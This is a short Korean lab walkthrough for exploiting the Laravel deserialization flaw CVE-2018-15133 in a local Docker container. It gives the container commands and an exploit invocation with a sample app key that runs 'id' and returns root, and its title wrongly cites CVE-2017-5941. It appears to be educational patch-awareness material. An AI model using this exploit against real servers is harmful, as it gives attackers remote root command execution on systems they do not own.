
CVE-2017-5941을 이용한 역직렬화 익스플로잇 실행
CVE-2018-15133 역직렬화 취약점 악용 이 익스플로잇은 Laravel Framework 5.5.40까지 및 5.6.x에서 5.6.29까지의 역직렬화 취약점을 이용합니다.
잠재적으로 신뢰할 수 없는 X-XSRF-TOKEN 값에 대한 unserialize 호출로 인해 원격 코드 실행이 발생할 수 있습니다. 여기에는 Illuminate/Encryption/Encrypter.php의 decrypt 메서드와 phpggc의 gadgetchains/Laravel/RCE/3/chain.php에 있는 PendingBroadcast가 포함됩니다. 공격자는 애플리케이션 키를 알고 있어야 하는데, 일반적으로는 불가능하지만 공격자가 이전에 권한 있는 접근 권한을 가졌거나 이전 공격을 성공적으로 수행한 경우 발생할 수 있습니다.
이 익스플로잇을 실행하려면 머신에 다음이 설치되어 있어야 합니다:
Docker를 다운로드하여 설치합니다.
관리자 권한으로 Docker를 엽니다.
cmd를 열고 Docker 머신을 pull 합니다.
docker pull kozmico/laravel-poc-cve-2018-15133
docker run --name my-laravel-app -p 8000:80 -d kozmico/laravel-poc-cve-2018-15133
이러면 larvel 머신이 시작됩니다.
브라우저에서 머신을 열어 제대로 작동하는지 확인해 보세요.
IP와 포트로 확인할 수 있습니다. Windows에서 IP를 확인하려면 다음을 실행하세요:
ipconfig
Linux에서는
ifconfig
wsl --set-default-version 2
wsl --update
익스플로잇 파일을 머신에 다운로드합니다.
터미널을 열고 익스플로잇 파일이 있는 폴더로 이동합니다.
서버를 공격하려면 다음 명령을 실행합니다:
./CVE-2018-15133 -URL http://localhost:8000 -API_KEY 9UZUmEfHhV7WXXYewtNRtCxAYdQt44IAgJUKXk2ehRk= -command "id"
그러면 공격하려는 머신의 ID 응답을 받게 됩니다. 유사한 명령으로 폴더를 요청하거나 다른 작업을 수행할 수도 있습니다.
응답: uid=0(root) gid=0(root) groups=0(root)
결론적으로, 이 취약점을 통해 프레임워크를 최신 상태로 유지하는 것의 중요성을 확인할 수 있었습니다. 이러한 도구들은 보안 결함이 있을 수 있고 널리 사용되기 때문에, 최신 상태를 유지하지 않으면 위험에 노출될 수 있습니다.